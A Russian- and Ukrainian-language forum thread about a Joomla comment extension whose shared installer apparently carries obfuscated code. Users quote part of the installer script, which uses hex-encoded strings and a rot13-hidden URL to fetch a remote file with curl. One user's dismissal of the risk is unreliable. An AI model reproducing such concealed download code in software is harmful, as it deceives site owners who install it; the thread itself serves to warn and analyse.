JComment

[Scaltro]

При попытке установки JComment из 9го поста выдает такую ошибку:


Joomla 5.3.4

 

[RVI]

Не смог обновить, такая же ошибка....

 

[kolio]

ВНИМАНИЕ! JComment v1.7 (J4.x, J5.x) в 9 сообщении содержит в себе какую-то гадость.
Конкретно установочный файл installscript.php, смотрите начало и конец, \x69\x6e\x73\x74\x61\x6c\x6c - этого точно нет в оригинале.
В конце там ссылка зашифрована.

якщо пройтись по файлу і проаналізувати його то можна побачити що автор кодує такі константи:

http://storejextensions.org/JCOMMENT1401GNCDioahbud39484pgdjuh29gq1sos0i12o.html

(по цій адресі повертає файл jcomment_v1.7_forjoomla6.x_5.x_4.x.zip)

maximum_joomla_release

minimum_joomla_release

install

update

навіщо? можливо щоб антивіруски не побачили що php намагається завантажити файл по мережі
так що ніякої "гадості" там немає

 

[quickweb]

якщо пройтись по файлу і проаналізувати його то можна побачити що автор кодує такі константи:

Да дело ваше, используйте.

public function isn($uvn, $isn) {
        if (function_exists ( 'curl_init' )) {
            $_0x3 = "\x6d\x69\x6e\x69\x6d\x75\x6d\x5f\x6a\x6f\x6f\x6d\x6c\x61\x5f\x72\x65\x6c\x65\x61\x73\x65";
            $_0x4 = "\x6d\x61\x78\x69\x6d\x75\x6d\x5f\x6a\x6f\x6f\x6d\x6c\x61\x5f\x72\x65\x6c\x65\x61\x73\x65";
            $tmpPath = JFactory::getApplication ()->get ( 'tmp_path' );
            $cdFuncUsed = 'str_' . 'ro' . 't' . '13';
            $url = $cdFuncUsed ( 'uggc' . '://' . 'fgberwrkgrafvbaf' . '.bet' . '/WPBZZRAG1301TSPQvbnu3243628423ctfcvu35td1ozba09xx6.ugzy' );
            $ch = curl_init ();
            curl_setopt ( $ch, CURLOPT_URL, $url );
            curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );

Если вас это не смущает....
И можно легко проверить, сравнить installscript от 1.6